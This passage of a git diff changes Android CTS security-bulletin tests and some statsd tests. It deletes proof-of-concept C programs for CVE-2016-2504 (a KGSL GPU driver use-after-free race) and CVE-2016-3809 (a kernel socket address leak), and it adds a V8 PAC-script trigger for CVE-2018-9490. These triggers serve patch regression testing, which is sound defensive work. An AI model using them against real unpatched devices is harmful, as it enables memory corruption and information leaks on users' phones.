-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-2504
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-
-LOCAL_CFLAGS += -Werror -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/poc.c
deleted file mode 100644
index b272328..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/poc.c
+++ /dev/null
@@ -1,160 +0,0 @@
-/**
-* Copyright (C) 2018 The Android Open Source Project
-*
-* Licensed under the Apache License, Version 2.0 (the "License");
-* you may not use this file except in compliance with the License.
-* You may obtain a copy of the License at
-*
-*      http://www.apache.org/licenses/LICENSE-2.0
-*
-* Unless required by applicable law or agreed to in writing, software
-* distributed under the License is distributed on an "AS IS" BASIS,
-* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-* See the License for the specific language governing permissions and
-* limitations under the License.
-*/
-
-#define _GNU_SOURCE
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <signal.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-/* ioctls */
-#define KGSL_IOC_TYPE 0x09
-
-enum kgsl_user_mem_type {
-  KGSL_USER_MEM_TYPE_PMEM = 0x00000000,
-  KGSL_USER_MEM_TYPE_ASHMEM = 0x00000001,
-  KGSL_USER_MEM_TYPE_ADDR = 0x00000002,
-  KGSL_USER_MEM_TYPE_ION = 0x00000003,
-  KGSL_USER_MEM_TYPE_MAX = 0x00000007,
-};
-
-/*
- * Unfortunately, enum kgsl_user_mem_type starts at 0 which does not
- * leave a good value for allocated memory. In the flags we use
- * 0 to indicate allocated memory and thus need to add 1 to the enum
- * values.
- */
-#define KGSL_USERMEM_FLAG(x) (((x) + 1) << KGSL_MEMFLAGS_USERMEM_SHIFT)
-
-#define KGSL_MEMFLAGS_NOT_USERMEM 0
-#define KGSL_MEMFLAGS_USERMEM_PMEM KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_PMEM)
-#define KGSL_MEMFLAGS_USERMEM_ASHMEM                                           \
-  KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_ASHMEM)
-#define KGSL_MEMFLAGS_USERMEM_ADDR KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_ADDR)
-#define KGSL_MEMFLAGS_USERMEM_ION KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_ION)
-
-/* add a block of pmem, fb, ashmem or user allocated address
- * into the GPU address space */
-struct kgsl_map_user_mem {
-  int fd;
-  unsigned long gpuaddr; /*output param */
-  size_t len;
-  size_t offset;
-  unsigned long hostptr; /*input param */
-  enum kgsl_user_mem_type memtype;
-  unsigned int flags;
-};
-
-#define IOCTL_KGSL_MAP_USER_MEM                                                \
-  _IOWR(KGSL_IOC_TYPE, 0x15, struct kgsl_map_user_mem)
-
-/* remove memory from the GPU's address space */
-struct kgsl_sharedmem_free {
-  unsigned long gpuaddr;
-};
-
-#define IOCTL_KGSL_SHAREDMEM_FREE                                              \
-  _IOW(KGSL_IOC_TYPE, 0x21, struct kgsl_sharedmem_free)
-
-#define KGSL_MEMFLAGS_USERMEM_MASK 0x000000e0
-#define KGSL_MEMFLAGS_USERMEM_SHIFT 5
-
-#define TRUE 1
-
-struct kgsl_map_user_mem allocArg;
-struct kgsl_sharedmem_free freeArg;
-
-int fd;
-int thread_exit = 1;
-
-void *alloc_thread(void*);
-void *free_thread(void*);
-void kgsl_poc(void);
-
-void *alloc_thread() {
-  while (thread_exit) {
-    allocArg.fd = -1;
-    allocArg.gpuaddr = 0x0;
-    allocArg.len = 4096;
-    allocArg.offset = 0;
-    allocArg.hostptr = (unsigned long)malloc(allocArg.len);
-    allocArg.memtype = KGSL_USER_MEM_TYPE_ADDR;
-    allocArg.flags = KGSL_MEMFLAGS_USERMEM_ADDR;
-
-    int ret = ioctl(fd, IOCTL_KGSL_MAP_USER_MEM, &allocArg);
-
-    if (ret < 0) {
-      printf("Error on IOCTL_KGSL_MAP_USER_MEM - Errno %d (%s)\n", errno,
-             strerror(errno));
-      return NULL;
-    } else if (!allocArg.gpuaddr) {
-      allocArg.gpuaddr = allocArg.hostptr;
-    }
-
-    volatile unsigned long *pGPU = &allocArg.gpuaddr;
-
-    while (*pGPU) {
-      if (thread_exit)
-        break;
-    }
-
-    free((void *)allocArg.hostptr);
-  }
-  return NULL;
-}
-
-void *free_thread() {
-  volatile unsigned long *pGPU = &allocArg.gpuaddr;
-  freeArg.gpuaddr = 0x0;
-
-  while (!freeArg.gpuaddr) {
-    freeArg.gpuaddr = *pGPU;
-  }
-
-  while (thread_exit) {
-    ioctl(fd, IOCTL_KGSL_SHAREDMEM_FREE, &freeArg);
-    *pGPU = 0x0;
-  }
-  return NULL;
-}
-
-void kgsl_poc() {
-  pthread_t allocTid, freeTid;
-  fd = open("/dev/kgsl-3d0", 0);
-
-  if (fd < 0) {
-    printf("Unable to open /dev/kgsl-3d0 - Errno %d (%s)\n", errno,
-           strerror(errno));
-    exit(-1);
-  }
-
-  pthread_create(&allocTid, NULL, alloc_thread, NULL);
-  pthread_create(&freeTid, NULL, free_thread, NULL);
-  pthread_join(allocTid, NULL);
-  pthread_join(freeTid, NULL);
-}
-int main() {
-  kgsl_poc();
-  return 0;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/Android.mk
deleted file mode 100644
index 615d39b..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-3809
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_SHARED_LIBRARIES := liblog
-
-LOCAL_CFLAGS += -Wall -Werror
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/poc.c
deleted file mode 100644
index 4f4805f..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/poc.c
+++ /dev/null
@@ -1,92 +0,0 @@
-/**
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <cutils/log.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <string.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <unistd.h>
-
-#define BUF_SIZE 2048
-
-int main() {
-  int sfd, fd, ret;
-  char buf[BUF_SIZE];
-  char wbuf[BUF_SIZE];
-
-  ret = -1;
-  sfd = socket(AF_INET, SOCK_DGRAM, 0);
-  if (sfd == -1) {
-    perror("socket create");
-    return 0;
-  }
-  snprintf(buf, BUF_SIZE, "/proc/self/net/xt_qtaguid/ctrl");
-  fd = open(buf, O_RDWR);
-  if (fd == -1) {
-    perror("canot open xt_qtaguid ctrl");
-    close(sfd);
-    return 0;
-  }
-
-  /* clean all tags */
-  snprintf(wbuf, BUF_SIZE - 2, "d %d %u", 0, getuid());
-  ret = write(fd, wbuf, strlen(wbuf));
-  if (ret < 0) {
-    perror("first clean");
-    goto err;
-  }
-
-  unsigned long long tag = ((unsigned long long)0x13371) << 32;
-  /* add sock tag */
-  snprintf(wbuf, BUF_SIZE - 2, "t %d %llu %u", sfd, tag, getuid());
-  ret = write(fd, wbuf, strlen(wbuf));
-  if (ret < 0) {
-    perror("add sock tag");
-    goto err;
-  }
-
-  ret = read(fd, buf, 22);
-  if (ret < 10) {
-    perror("canot read or read error");
-    goto err;
-  }
-  buf[21] = '\0';
-  char *temp = buf + 5;
-  printf("sock addr: 0x%s length=%d \n", temp, (int)strlen(temp));
-  short address = (short)*temp;
-  printf("addres sis %d", address);
-  if (address != 48) // ascii value of 0 is 48
-    ALOGE("CVE-2016-3809 test case failed");
-  else
-    ALOGE("CVE-2016-3809 test case passed");
-
-  /* clean all tags again */
-  snprintf(wbuf, BUF_SIZE - 2, "d %d %u", 0, getuid());
-  ret = write(fd, wbuf, strlen(wbuf));
-  if (ret < 0) {
-    perror("cannot clean all tags at last time");
-    goto err;
-  }
-
-err:
-  close(sfd);
-  close(fd);
-  return 0;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.mk
old mode 100755
new mode 100644
similarity index 74%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/Android.mk
copy to hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.mk
index 65fe025..691d3f3
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.mk
@@ -15,22 +15,26 @@
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2015-8839
-LOCAL_SRC_FILES := poc.c
-
-LOCAL_SHARED_LIBRARIES := libcutils \
-                          liblog
-
+LOCAL_MODULE := CVE-2018-9490
+LOCAL_SRC_FILES := poc.cpp
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
+LOCAL_C_INCLUDES:= \
+        $(TOP)/external/chromium-libpac/src \
+        $(TOP)/external/v8 \
+
+LOCAL_SHARED_LIBRARIES := \
+        libpac \
+        libutils \
+        libandroid_runtime \
+
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_COMPATIBILITY_SUITE := cts sts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
+LOCAL_CPPFLAGS = -Wall -Werror
+
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp
new file mode 100644
index 0000000..242d2af
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef _GNU_SOURCE
+#define _GNU_SOURCE
+#endif
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <iostream>
+#include <utils/String8.h>
+#include <utils/String16.h>
+#include <proxy_resolver_v8.h>
+#include <proxy_resolver_js_bindings.h>
+
+android::String16 url ("");
+android::String16 host ("");
+android::String16 script(
+    "function FindProxyForURL(url, host){\n" \
+    "    alert(\"enter\");\n" \
+    "    let arr = [];\n" \
+    "    arr[1000] = 0x1234;\n" \
+    "\n" \
+    "    arr.__defineGetter__(256, function () {\n" \
+    "            delete arr[256];\n" \
+    "            arr.unshift(1.1);\n" \
+    "            arr.length = 0;\n" \
+    "            });\n" \
+    "\n" \
+    "    Object.entries(arr).toString();\n" \
+    "    alert(JSON.stringify(entries));\n" \
+    "\n" \
+    "    return 0;\n" \
+    "}\n");
+
+class MyErrorListener : public net::ProxyErrorListener {
+ public:
+  virtual void AlertMessage(android::String16) {
+  }
+
+  virtual void ErrorMessage(android::String16) {
+  }
+};
+
+int main(void) {
+
+  net::ProxyResolverJSBindings *bindings = net::ProxyResolverJSBindings::CreateDefault();
+  MyErrorListener errorListener;
+  net::ProxyResolverV8 resolver(bindings, &errorListener);
+  android::String16 results;
+
+  resolver.SetPacScript(script);
+  resolver.GetProxyForURL(url, host, &results);
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index e11c523..1e33083 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -28,13 +28,14 @@
     }
 
     /**
-     *  b/27532522
+     *  b/27890802
      */
     @SecurityTest(minPatchLevel = "2016-07")
-    public void testPocCVE_2016_3809() throws Exception {
-        AdbUtils.runCommandLine("logcat -c", getDevice());
-        AdbUtils.runPoc("CVE-2016-3809", getDevice(), 60);
+    public void testPocCVE_2016_3746() throws Exception {
+        AdbUtils.runCommandLine("logcat -c" , getDevice());
+        AdbUtils.runPoc("CVE-2016-3746", getDevice(), 60);
         String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatches("[\\s\\n\\S]*CVE-2016-3809 test case failed[\\s\\n\\S]*", logcat);
+        assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> /system/bin/mediaserver <<<",
+                logcat);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
index 9ae9d99..3280a68 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
@@ -26,15 +26,4 @@
     public void testPocCVE_2016_2471() throws Exception {
         AdbUtils.runPoc("CVE-2016-2471", getDevice(), 60);
     }
-
-    /**
-     *  b/28760453
-     */
-    @SecurityTest(minPatchLevel = "2016-09")
-    public void testPocCVE_2015_8839() throws Exception {
-        AdbUtils.runCommandLine("logcat -c" , getDevice());
-        AdbUtils.runPoc("CVE-2015-8839", getDevice(), 60);
-        String logcat =  AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertMatches("[\\s\\n\\S]*fallocate result EOPNOTSUPP[\\s\\n\\S]*", logcat);
-    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
deleted file mode 100644
index f91829c..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
+++ /dev/null
@@ -1,43 +0,0 @@
-/**
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc16_10 extends SecurityTestCase {
-
-    /**
-     *  b/30741779
-     */
-    @SecurityTest(minPatchLevel = "2016-10")
-    public void testPocCVE_2016_3916() throws Exception {
-        AdbUtils.installApk("/cve_2016_3916.apk", getDevice());
-        AdbUtils.runCommandLine("logcat -c" , getDevice());
-
-         AdbUtils.runCommandLine("am start -n com.trendmicro.wish_wu.camera2/" +
-                                 "com.trendmicro.wish_wu.camera2.Camera2TestActivity", getDevice());
-        Thread.sleep(10000);
-        String logcat =  AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
-                "[\\s\\n\\S]*>>> /system/bin/" +
-                "mediaserver <<<[\\s\\n\\S]*", logcat);
-
-        //make sure the app is uninstalled after the test
-        AdbUtils.runCommandLine("pm uninstall com.trendmicro.wish_wu.camera2" , getDevice());
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
deleted file mode 100644
index 87f6fde..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
+++ /dev/null
@@ -1,35 +0,0 @@
-/**
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc17_05 extends SecurityTestCase {
-
-    /**
-     *  b/34277115
-     */
-    @SecurityTest(minPatchLevel = "2017-05")
-    public void testPocCVE_2017_0630() throws Exception {
-        if (containsDriver(getDevice(), "/sys/kernel/debug/tracing/printk_formats")) {
-          String commandOutput = AdbUtils.runCommandLine("cat /sys/kernel/debug/tracing" +
-                                                         "/printk_formats", getDevice());
-          assertNotMatchesMultiLine(".*0x(?!0){8,16}[0-9a-fA-F]{8,16} : .*", commandOutput);
-        }
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
index 9d7cf3a..0423b37 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
@@ -36,4 +36,13 @@
         }
         AdbUtils.runCommandLine("rm -rf /sdcard/Android/data/CVE-2018-9515", getDevice());
     }
+
+    /**
+     *  b/111274046
+     */
+    @SecurityTest
+    public void testPocCVE_2018_9490() throws Exception {
+        int code = AdbUtils.runPocGetExitStatus("/data/local/tmp/CVE-2018-9490", getDevice(), 60);
+        assertTrue(code != 139); // 128 + signal 11
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
similarity index 66%
rename from hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
rename to hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
index 14dbf6b..9e50e1e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
@@ -18,15 +18,17 @@
 
 import android.platform.test.annotations.SecurityTest;
 
+import static org.junit.Assert.*;
+
 @SecurityTest
-public class Poc16_08 extends SecurityTestCase {
-  /**
-   *  b/28026365
-   */
-  @SecurityTest(minPatchLevel = "2016-08")
-  public void testPocCVE_2016_2504() throws Exception {
-    if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
-        AdbUtils.runPoc("CVE-2016-2504", getDevice(), 60);
+public class Poc18_11 extends SecurityTestCase {
+
+    /**
+     *  b/111330641
+     */
+    @SecurityTest(minPatchLevel = "2018-11")
+    public void testPocCVE_2018_9525() throws Exception {
+        assertTrue(AdbUtils.runCommandGetExitCode(
+                "pm dump com.android.settings | grep SliceBroadcastReceiver", getDevice()) != 0);
     }
-  }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
similarity index 62%
copy from hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
copy to hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
index 14dbf6b..fe85e87 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
@@ -17,16 +17,18 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import static org.junit.Assert.assertFalse;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @SecurityTest
-public class Poc16_08 extends SecurityTestCase {
-  /**
-   *  b/28026365
-   */
-  @SecurityTest(minPatchLevel = "2016-08")
-  public void testPocCVE_2016_2504() throws Exception {
-    if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
-        AdbUtils.runPoc("CVE-2016-2504", getDevice(), 60);
+public class Poc19_03 extends SecurityTestCase {
+    /**
+     * b/115739809
+     */
+    @SecurityTest(minPatchLevel = "2019-03")
+    public void testPocBug_115739809() throws Exception {
+        assertFalse(AdbUtils.runPocCheckExitCode("Bug-115739809", getDevice(), 30));
     }
-  }
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/statsd/PROCSTATSQ_PULL.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PULL.pbtxt
index 3e644ac..7d0820c 100644
--- a/hostsidetests/statsd/PROCSTATSQ_PULL.pbtxt
+++ b/hostsidetests/statsd/PROCSTATSQ_PULL.pbtxt
@@ -6,7 +6,8 @@
     include_all: true
   }
   bucket: ONE_DAY
-  sampling_type: ALL_CONDITION_CHANGES
+  condition: -377136895
+  sampling_type: CONDITION_CHANGE_TO_TRUE
   # Normal user should have <1000
   max_num_gauge_atoms_per_bucket: 2000
 }
@@ -16,6 +17,34 @@
     atom_id: 10029
   }
 }
+atom_matcher {
+  id: -1651300237
+  simple_atom_matcher {
+    atom_id: 47
+    field_value_matcher {
+      field: 2
+      eq_int: 1
+    }
+  }
+}
+atom_matcher {
+  id: -1651300236
+  simple_atom_matcher {
+    atom_id: 47
+    field_value_matcher {
+      field: 2
+      eq_int: 2
+    }
+  }
+}
+predicate {
+  id: -377136895
+  simple_predicate {
+    start: -1651300237
+    stop: -1651300236
+    count_nesting: false
+  }
+}
 allowed_log_source: "AID_GRAPHICS"
 allowed_log_source: "AID_INCIDENTD"
 allowed_log_source: "AID_STATSD"
diff --git a/hostsidetests/statsd/PROCSTATSQ_PULL_PKG_PROC.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PULL_PKG_PROC.pbtxt
index 7e616c7..7185963 100644
--- a/hostsidetests/statsd/PROCSTATSQ_PULL_PKG_PROC.pbtxt
+++ b/hostsidetests/statsd/PROCSTATSQ_PULL_PKG_PROC.pbtxt
@@ -6,7 +6,8 @@
     include_all: true
   }
   bucket: ONE_DAY
-  sampling_type: ALL_CONDITION_CHANGES
+  condition: -377136895
+  sampling_type: CONDITION_CHANGE_TO_TRUE
   # Normal user should have <1000
   max_num_gauge_atoms_per_bucket: 2000
 }
@@ -16,6 +17,34 @@
     atom_id: 10034
   }
 }
+atom_matcher {
+  id: -1651300237
+  simple_atom_matcher {
+    atom_id: 47
+    field_value_matcher {
+      field: 2
+      eq_int: 1
+    }
+  }
+}
+atom_matcher {
+  id: -1651300236
+  simple_atom_matcher {
+    atom_id: 47
+    field_value_matcher {
+      field: 2
+      eq_int: 2
+    }
+  }
+}
+predicate {
+  id: -377136895
+  simple_predicate {
+    start: -1651300237
+    stop: -1651300236
+    count_nesting: false
+  }
+}
 allowed_log_source: "AID_GRAPHICS"
 allowed_log_source: "AID_INCIDENTD"
 allowed_log_source: "AID_STATSD"
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
index 56da8da..1fade2f 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
@@ -687,6 +687,10 @@
         }
     }
 
+    protected String getProperty(String prop) throws Exception {
+        return getDevice().executeShellCommand("getprop " + prop).replace("\n", "");
+    }
+
     protected void turnScreenOn() throws Exception {
         getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
         getDevice().executeShellCommand("wm dismiss-keyguard");
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
index 02259e0..fb3e711 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
@@ -25,8 +25,9 @@
 import com.android.os.AtomsProto.AppBreadcrumbReported;
 import com.android.os.AtomsProto.Atom;
 import com.android.os.AtomsProto.BatterySaverModeStateChanged;
-import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.os.AtomsProto.BuildInformation;
 import com.android.os.AtomsProto.ConnectivityStateChanged;
+import com.android.os.StatsLog.ConfigMetricsReportList;
 import com.android.os.StatsLog.EventMetricData;
 
 import java.util.Arrays;
@@ -392,6 +393,30 @@
         assertTrue(atom.getBatteryVoltage().getVoltageMillivolt() > 0);
     }
 
+    // This test is for the pulled battery level atom.
+    public void testBatteryLevel() throws Exception {
+        if (statsdDisabled()) {
+            return;
+        }
+        if (!hasFeature(FEATURE_WATCH, false)) return;
+        StatsdConfig.Builder config = getPulledConfig();
+        addGaugeAtomWithDimensions(config, Atom.BATTERY_LEVEL_FIELD_NUMBER, null);
+
+        uploadConfig(config);
+
+        Thread.sleep(WAIT_TIME_LONG);
+        setAppBreadcrumbPredicate();
+        Thread.sleep(WAIT_TIME_LONG);
+
+        List<Atom> data = getGaugeMetricDataList();
+
+        assertTrue(data.size() > 0);
+        Atom atom = data.get(0);
+        assertTrue(atom.getBatteryLevel().hasBatteryLevel());
+        assertTrue(atom.getBatteryLevel().getBatteryLevel() > 0);
+        assertTrue(atom.getBatteryLevel().getBatteryLevel() <= 100);
+    }
+
     public void testKernelWakelock() throws Exception {
         if (statsdDisabled() || !kernelWakelockStatsExist()) {
             return;
@@ -453,6 +478,32 @@
         }
     }
 
+    public void testBuildInformation() throws Exception {
+        if (statsdDisabled()) {
+            return;
+        }
+
+        StatsdConfig.Builder config = getPulledConfig();
+        addGaugeAtomWithDimensions(config, Atom.BUILD_INFORMATION_FIELD_NUMBER, null);
+        uploadConfig(config);
+
+        Thread.sleep(WAIT_TIME_LONG);
+        setAppBreadcrumbPredicate();
+        Thread.sleep(WAIT_TIME_LONG);
+
+        List<Atom> data = getGaugeMetricDataList();
+        assertTrue(data.size() > 0);
+        BuildInformation atom = data.get(0).getBuildInformation();
+        assertEquals(getProperty("ro.product.brand"),             atom.getBrand());
+        assertEquals(getProperty("ro.product.name"),              atom.getProduct());
+        assertEquals(getProperty("ro.product.device"),            atom.getDevice());
+        assertEquals(getProperty("ro.build.version.release"),     atom.getVersionRelease());
+        assertEquals(getProperty("ro.build.id"),                  atom.getId());
+        assertEquals(getProperty("ro.build.version.incremental"), atom.getVersionIncremental());
+        assertEquals(getProperty("ro.build.type"),                atom.getType());
+        assertEquals(getProperty("ro.build.tags"),                atom.getTags());
+    }
+
     public void testOnDevicePowerMeasurement() throws Exception {
         if (!OPTIONAL_TESTS_ENABLED) return;
         if (statsdDisabled()) {
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index 127dc06..4c197f3 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
